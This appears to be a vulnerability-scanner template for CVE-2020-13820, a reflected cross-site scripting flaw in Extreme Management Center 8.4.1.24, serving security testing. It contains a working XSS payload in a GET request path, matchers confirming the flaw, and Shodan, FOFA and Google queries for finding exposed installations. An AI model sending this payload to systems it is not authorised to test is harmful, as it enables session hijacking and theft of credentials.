id: CVE-2020-13820

info:
  name: Extreme Management Center 8.4.1.24 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Extreme Management Center.
  reference:
    - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219
    - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136
    - https://gtacknowledge.extremenetworks.com
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
    - https://documentation.extremenetworks.com/release_notes/netsight/XMC_8.5.0_Release_Notes.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13820
    cwe-id: CWE-79
    epss-score: 0.26304
    epss-percentile: 0.96080
    cpe: cpe:2.3:a:extremenetworks:extreme_management_center:8.4.1.24:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: extremenetworks
    product: extreme_management_center
    shodan-query:
      - title:"Extreme Management Center"
      - http.title:"extreme management center"
    fofa-query: title="extreme management center"
    google-query: intitle:"extreme management center"
  tags: cve2020,cve,xss,extremenetworks

http:
  - method: GET
    path:
      - "{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "autofocus onfocus='alert(document.domain)"
          - "Extreme Management Center"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022065dfcec927a7db7b88ff1859e4ef29b5ebb6aa02aa32c85edae92dc62d835178022100d136ac3fc0970c693247454b3668dc4be0d677b91a29d9560b72579c0e48dc7d:922c64590222798bb761d5b6d8e72950